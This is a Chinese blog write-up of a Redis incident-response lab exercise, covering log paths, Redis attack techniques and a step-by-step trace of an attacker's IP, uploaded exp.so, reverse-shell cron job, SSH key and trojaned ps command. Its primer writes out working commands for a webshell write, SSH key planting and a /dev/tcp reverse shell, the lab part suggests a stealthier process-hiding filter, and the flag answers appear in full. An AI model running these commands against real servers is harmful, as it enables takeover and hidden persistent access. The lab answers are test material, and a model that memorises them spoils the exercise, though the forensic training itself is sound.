【玄机】第二章日志分析-redis应急响应

01 前置知识

linux常用日志路径:

1:Apache:
    /var/log/httpd/access.log
    /var/log/apache/access.log  
    /var/log/apache2/access.log
2:Nginx:/var/log/nginx/
3:MySQL:/var/log/mysql/  /var/log/mariadb/
4:PostgreSQL:/var/log/postgresql/
5:PHP:/var/log/php/
6:SSH(认证日志):/var/log/secure  /var/log/auth.log
7:Redis:/var/log/redis.log
8:系统日志:/var/log/messages

redis常见攻击手法:

redis未授权访问漏洞

利用redis写webshell

利用“公私钥” 认证获取root权限

利用crontab反弹shell

redis未授权访问漏洞

redis-cli -h 192.168.1.1
redis-cli -h 192.168.1.1 -p 写端口 -a 写密码

利用redis写webshell

利用条件:知道Web目录的路径,具有文件读写增删改查权限

redis-cli -h 192.168.1.1
#清空整个 Redis 服务器的数据
Flushall
#进入/var/www/html路径
config set dir /var/www/html
#写入配置库名称及存放的名字
config set dbfilename redis.php
#设置webshell的值为<?php phpinfo(); ?>
set webshell "<?php phpinfo(); ?>" 
save

利用“公私钥” 认证获取root权限

利用条件:服务端存在.ssh目录并且有写入的权限

攻击机:
#生成公钥,将公钥输出到key.txt文件中
ssh-keygen -t rsa
cd /root/.ssh
(echo -e "/n/n"; cat id_rsa.pub; echo -e "/n/n") > key.txt

靶机: 
#将公钥写入redis中
cat key.txt | redis-cli -h 192.168.1.1 -x set redis
#连接redis
redis-cli -h 192.168.1.1
#进入/root/.ssh路径
config set dir /root/.ssh
#设置文件名为authorized_keys
config set dbfilename authorized_keys
#查看路径下的文件名
config get dbfilename
save

连接靶机:
ssh -i id_rsa root@192.168.1.1

利用crontab反弹shell

攻击机192.168.0.105:
nc -lvnp 4444

redis-cli -h 192.168.0.104
#设置xxx的值为 反弹shell的内容
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.105/4444 0>&1\n\n"
config set dir /var/spool/cron
#写入配置库名称及存放的名字
config set dbfilename root
save

Redis配置文件路径:

redis配置文件为redis.conf

find / -name "redis.conf" 找到路径
一般路径为:/etc/redis.conf  /etc/redis/redis.conf

linux篡改文件排查:

#查看近1天被修改的文件
find / -type f -mtime 1

#rpm查看被篡改的文件
rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
结果释义:
S:代表文件大小发生了变化  
5:关键字代表文件的 md5 值发生了变化  
T:代表文件时间发生了变化

#查看/usr/bin路径下最近10个被篡改的文件
ls -lt --time=ctime /usr/bin|head -n 10

02 题目

服务器场景操作系统 Linux
服务器账号密码 root xjredis

任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查

1、通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

2、通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;

3、通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;

4、通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

5、通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

1、溯源分析黑客攻击成功的 IP 为多少

需要分析redis日志,根据前置知识可知,redis日志在/var/log/redis.log中
在这里插入图片描述
可以直接用命令查找访问的ip,由图可知ip在第十列

cat redis.log|awk '{print$10}'|sort|uniq -c
#获取第十列数据
awk '{print$10}' 
# 统计每行出现的频率 
sort|uniq -c

在这里插入图片描述
根据查找到的ip,分别查看其在日志中的行为

192.168.100.13只见爆破,但未见登陆成功

192.168.100.20此ip成功登录
在这里插入图片描述
flag{192.168.100.20}

2、溯源分析黑客第一次上传的恶意文件

还是查看日志中给出的信息,linux中可执行文件后缀是.so文件,经过分析日志发现此处存在一个exp.so文件
在这里插入图片描述

find / -type f -name "exp.so"

确定为木马文件
在这里插入图片描述在这里插入图片描述flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

3、溯源分析黑客反弹 shell 的IP 为多少

其中redis有一种攻击手法为:利用crontab反弹shell

#查看计划任务
crontab -l

在这里插入图片描述
flag{192.168.100.13}

4、溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)

经过排查,恶意文件exp.so中没发现像是用户名的关键词,还有可能是黑客生成公钥的时候写了用户名

排查下

cat /root/.ssh/authorized_keys

在这里插入图片描述
在GitHub上寻找这个用户名:https://github.com/xj-test-user
在这里插入图片描述在这里插入图片描述在这里插入图片描述https://github.com/xj-test-user/redis-rogue-getshell/commit

flag{xj-test-user-wow-you-find-flag}

5、溯源分析黑客篡改的命令

用户命令在/usr/bin路径下

有几种排查方法:

1、查看近一天更改的文件

find / -type f -mtime 1

此处并非真实应急环境,靶场不太可能每天更新,所以查看近一天更改的文件这个方法不太ok

2、用rpm排查文件是否被修改

 排查命令是否被替换:
rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
结果释义:
S:代表文件大小发生了变化  
5:关键字代表文件的 md5 值发生了变化  
T:代表文件时间发生了变化

但此靶机为Debian系统,默认没装rpm

3、查找最新修改的前10个文件

 ls -lt --time=ctime /usr/bin |head -n 10

此服务器是靶场,如存在篡改命令,可以通过查找最新修改的10个命令的方式去寻找
在这里插入图片描述此处能明显看到ps文件存在异常,且权限为777也不太对劲,查看ps命令
在这里插入图片描述发现异常,黑客对ps命令做了个备份,备份为ps_

这个脚本替换了原本的ps命令,用户输入ps命令,会调用ps_,正常显示进程,并且过滤掉包含threadd字符串的行

但如果想效果更隐蔽的话,可以再过滤个包含ps_的行,这样ps -aux也不会显示调用了备份文件的ps_ -aux ,更加隐蔽
在这里插入图片描述flag{c195i2923381905517d818e313792d196}
在这里插入图片描述

  • 8
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值